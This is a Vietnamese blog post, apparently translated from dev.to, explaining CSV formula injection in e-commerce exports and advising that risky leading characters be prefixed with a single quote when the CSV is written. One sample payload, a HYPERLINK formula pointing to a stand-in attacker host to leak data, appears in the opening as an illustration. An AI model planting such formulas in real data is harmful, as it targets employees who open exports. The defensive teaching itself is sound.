CSV Injection: Nút Xuất Dữ Liệu Có Thể Chạy Mã Độc

Một khách hàng nhập tên của họ. Họ gõ =HYPERLINK("http://evil.example/leak", "click"). Hệ thống của bạn chấp nhận nó. Trông nó có vẻ như là văn bản thuần túy.

Vài tuần sau, đội ngũ tài chính của bạn xuất danh sách khách hàng ra tệp CSV. Họ mở tệp đó bằng Excel. Ô đó không còn là văn bản nữa. Nó là một công thức.

Đây chính là CSV injection. Người ta còn gọi nó là formula injection (tấn công chèn công thức). Đây là một lỗi phổ biến trong các bảng điều khiển thương mại điện tử. Hầu hết các đội ngũ đều không kiểm tra lỗi này.

Các ứng dụng bảng tính không coi mọi ô đều là văn bản. Nếu một ô bắt đầu bằng =, +, -, hoặc @, Excel hoặc Google Sheets sẽ đọc nó như một công thức.

Một công thức có thể làm nhiều việc hơn là tính toán. Nó có thể tạo ra một URL. Nó có thể kết nối với một mạng lưới. Trong một số trường hợp, nó có thể thực thi các lệnh trên máy tính.

Dữ liệu vẫn là văn bản trong cơ sở dữ liệu của bạn. Nó trở thành mã có thể thực thi ngay khoảnh khắc một con người mở tệp đó ra. Thông thường, nạn nhân là nhân viên có quyền truy cập cao.

Bạn gặp rủi ro ở bất cứ đâu bạn xuất dữ liệu người dùng:

  • Xuất tên và địa chỉ khách hàng
  • Các lưới đơn hàng (order grids) được xuất ra CSV
  • Nguồn cấp dữ liệu sản phẩm (product feeds) từ nhà cung cấp
  • Các bản trích xuất từ biểu mẫu liên hệ (contact form dumps)

Kẻ tấn công không cần quyền admin. Chúng đặt tên của chính mình thành một công thức và chờ đợi.

Đừng cố gắng khắc phục điều này trong quá trình kiểm tra dữ liệu đầu vào (input validation). Giá trị đó là văn bản hợp lệ cho đến khi một ứng dụng bảng tính đọc nó. Thay vào đó, hãy làm sạch (sanitize) dữ liệu khi bạn ghi tệp CSV.

Nếu một ô bắt đầu bằng =, +, -, @, một dấu tab, hoặc một ký tự xuống dòng (carriage return), hãy thêm một dấu nháy đơn vào phía trước.

Ví dụ logic: Nếu giá trị bắt đầu bằng một ký tự kích hoạt, hãy trả về "'" + value.

Dấu nháy đơn báo cho bảng tính biết rằng hãy coi ô đó là văn bản. Bảng tính sẽ ẩn dấu nháy đó khỏi người dùng. Hãy chạy mọi trường dữ liệu qua bước kiểm tra này trước khi đưa vào tệp.

Đừng escape dữ liệu trong cơ sở dữ liệu của bạn. Giá trị đó vẫn ổn trong cơ sở dữ liệu và ổn trong HTML của bạn. Nó chỉ nguy hiểm trong tệp CSV. Hãy bảo vệ ranh giới CSV để giữ cho dữ liệu của bạn sạch sẽ ở những nơi khác.

Đừng tin tưởng vào các bản xuất dữ liệu nội bộ của mình. Kẻ tấn công nhắm vào nhân viên của bạn thông qua các tệp này.

CSV injection không kích hoạt các cảnh báo đáng sợ từ các trình quét bảo mật. Nó ẩn mình trong nút xuất dữ liệu mà bạn đã xây dựng từ nhiều năm trước. Hãy kiểm tra mã xuất CSV của bạn ngay bây giờ. Nếu bạn không bảo vệ ký tự đầu tiên của mọi ô, bạn đang gặp rủi ro.

Source: https://dev.to/iamrobindhiman/csv-injection-the-export-button-that-runs-code-on-someone-elses-machine-3ki6